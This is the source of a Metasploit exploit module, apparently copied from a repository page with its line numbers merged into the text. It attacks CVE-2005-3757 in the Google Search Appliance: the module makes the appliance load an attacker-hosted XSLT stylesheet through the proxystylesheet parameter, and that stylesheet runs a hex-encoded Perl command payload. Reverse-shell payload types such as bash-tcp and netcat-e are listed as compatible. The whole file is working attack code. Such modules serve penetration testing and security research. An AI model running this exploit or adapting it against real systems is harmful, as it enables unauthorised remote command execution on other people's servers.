Path: blob/master/modules/exploits/unix/webapp/google_proxystylesheet_exec.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking7include Msf::Exploit::Remote::HttpClient8include Msf::Exploit::Remote::HttpServer910def initialize(info = {})11super(12update_info(13info,14'Name' => 'Google Appliance ProxyStyleSheet Command Execution',15'Description' => %q{16This module exploits a feature in the Saxon XSLT parser used by17the Google Search Appliance. This feature allows for arbitrary18java methods to be called. Google released a patch and advisory to19their client base in August of 2005 (GA-2005-08-m). The target appliance20must be able to connect back to your machine for this exploit to work.21},22'Author' => [ 'hdm' ],23'License' => MSF_LICENSE,24'References' => [25['CVE', '2005-3757'],26['OSVDB', '20981'],27['BID', '15509'],28],29'Privileged' => false,30'Payload' => {31'DisableNops' => true,32'Space' => 4000,33'Compat' =>34{35'PayloadType' => 'cmd cmd_bash',36'RequiredCmd' => 'generic perl bash-tcp telnet netcat netcat-e',37}38},39'Platform' => 'unix',40'Arch' => ARCH_CMD,41'Targets' => [[ 'Automatic', {}]],42'DisclosureDate' => '2005-08-16',43'Stance' => Msf::Exploit::Stance::Aggressive,44'DefaultTarget' => 0,45'Notes' => {46'Reliability' => UNKNOWN_RELIABILITY,47'Stability' => UNKNOWN_STABILITY,48'SideEffects' => UNKNOWN_SIDE_EFFECTS49}50)51)52end5354# Handle incoming requests from the appliance55def on_request_uri(cli, request)56print_status("Handling new incoming HTTP request...")5758exec_str = '/usr/bin/perl -e system(pack(qq{H*},qq{' + payload.encoded.unpack("H*")[0] + '}))'59data = @xml_data.gsub(/:x:MSF:x:/, exec_str)60send_response(cli, data)61end6263def autofilter64true65end6667def check68res = send_request_cgi({69'uri' => '/search',70'vars_get' =>71{72'client' => rand_text_alpha(rand(15) + 1),73'site' => rand_text_alpha(rand(15) + 1),74'output' => 'xml_no_dtd',75'q' => rand_text_alpha(rand(15) + 1),76'proxystylesheet' => 'http://' + rand_text_alpha(rand(15) + 1) + '/'77}78}, 10)7980if (res and res.body =~ /cannot be resolved to an ip address/)81vprint_status("This system appears to be vulnerable")82return Exploit::CheckCode::Appears83end8485if (res and res.body =~ /ERROR: Unable to fetch the stylesheet/)86vprint_status("This system appears to be patched")87end8889return Exploit::CheckCode::Safe90end9192def exploit93# load the xml data94path = File.join(Msf::Config.data_directory, "exploits", "google_proxystylesheet.xml")95fd = File.open(path, "rb")96@xml_data = fd.read(fd.stat.size)97fd.close9899print_status("Obtaining the appliance site and client IDs...")100# Send a HTTP/1.0 request to learn the site configuration101res = send_request_raw({102'uri' => '/',103'version' => '1.0'104}, 10)105106if !(res and res['location'] and res['location'] =~ /site=/)107print_status("Could not read the location header: #{res.code} #{res.message}")108return109end110111m = res['location'].match(/site=([^\&]+)\&.*client=([^\&]+)\&/im)112if !(m and m[1] and m[2])113print_status("Invalid location header: #{res['location']}")114return115end116117print_status("Starting up our web service on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}...")118start_service119120print_status("Requesting a search using our custom XSLT...")121res = send_request_cgi({122'uri' => '/search',123'vars_get' =>124{125'client' => m[2],126'site' => m[1],127'output' => 'xml_no_dtd',128'q' => rand_text_alpha(rand(15) + 1),129'proxystylesheet' => "http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{resource_uri}/style.xml",130'proxyreload' => '1'131}132}, 25)133134if (res)135print_status("The server returned: #{res.code} #{res.message}")136print_status("Waiting on the payload to execute...")137select(nil, nil, nil, 20)138else139print_status("No response from the server")140end141end142end143144145